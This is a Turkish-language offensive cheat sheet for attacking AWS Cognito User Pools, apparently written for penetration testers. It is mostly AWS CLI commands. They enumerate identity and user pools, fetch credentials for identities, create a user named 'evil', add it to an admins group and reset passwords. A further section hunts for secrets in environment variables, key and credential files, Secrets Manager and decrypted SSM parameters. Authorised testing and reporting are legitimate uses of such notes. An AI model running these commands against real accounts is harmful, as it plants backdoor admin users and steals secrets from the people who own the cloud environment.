Cognito User Pools
AWS enum
Cognito User Pools — AWS ortamında kaynak envanteri ve izin yüzeyi keşfi notudur. Amaç: çağıran kimliği netleştirmek, servise özel saldırı yüzeyini komutlarla doğrulamak ve kanıtlanabilir etki üretmek. Her fence tek komut/payload taşır; çıktıyı hedefe göre uyarla.
Saldırı akışı
Section titled “Saldırı akışı”-
Çağıran kimliği ve etkili izinleri netleştir.
-
Servise özel kaynak envanteri çıkar (liste + describe).
-
Secret, trust policy ve yazma yüzeyi adaylarını işaretle.
-
Bir sonraki privesc / veri / RCE hipotezini kilitle.
Kimlik / oturum
Section titled “Kimlik / oturum”Önce kim olduğunu ve hangi hesaba/projeye/kontekste oturduğunu kilitle.
aws sts get-caller-identityaws configure listecho $AWS_ACCESS_KEY_ID $AWS_SESSION_TOKEN | sed 's/./*/g'Hedef komutlar
Section titled “Hedef komutlar”Cognito User Pools için doğrudan uygulanabilir komutlar. Placeholder’ları (BUCKET, ROLE, FN, …) hedef değerlerle değiştir.
aws cognito-identity list-identity-pools --max-results 20aws cognito-identity get-id --identity-pool-id POOLaws cognito-identity get-credentials-for-identity --identity-id IDaws cognito-idp list-user-pools --max-results 20aws cognito-idp describe-user-pool --user-pool-id POOLaws cognito-idp list-users --user-pool-id POOLaws cognito-idp admin-create-user --user-pool-id POOL --username evil --temporary-password 'Tmp1!'aws cognito-idp admin-add-user-to-group --user-pool-id POOL --username evil --group-name adminsaws cognito-idp admin-set-user-password --user-pool-id POOL --username U --password 'P@ss' --permanentSecret / credential avı
Section titled “Secret / credential avı”Env, metadata, secret store ve CI loglarından ikinci kimlik topla; yeni principal ile döngüyü tekrarla.
env | rg -i 'key|secret|token|password|aws_|azure|gcp|kube'printenv | sortfind / -name '*.pem' -o -name 'credentials' -o -name '*.json' 2>/dev/null | head -n 40aws secretsmanager list-secretsaws ssm get-parameters-by-path --path / --recursive --with-decryptionRapor için yeniden üretilebilir çıktı bırak: komut, zaman, hesap/arn, etki özeti.
request/response veya CLI çıktısıhesap / proje / clusteretki: okuma | yazma | RCE | lateralzaman damgası + dosya hashmkdir -p evidence/cloud && tee evidence/cloud/notes.txt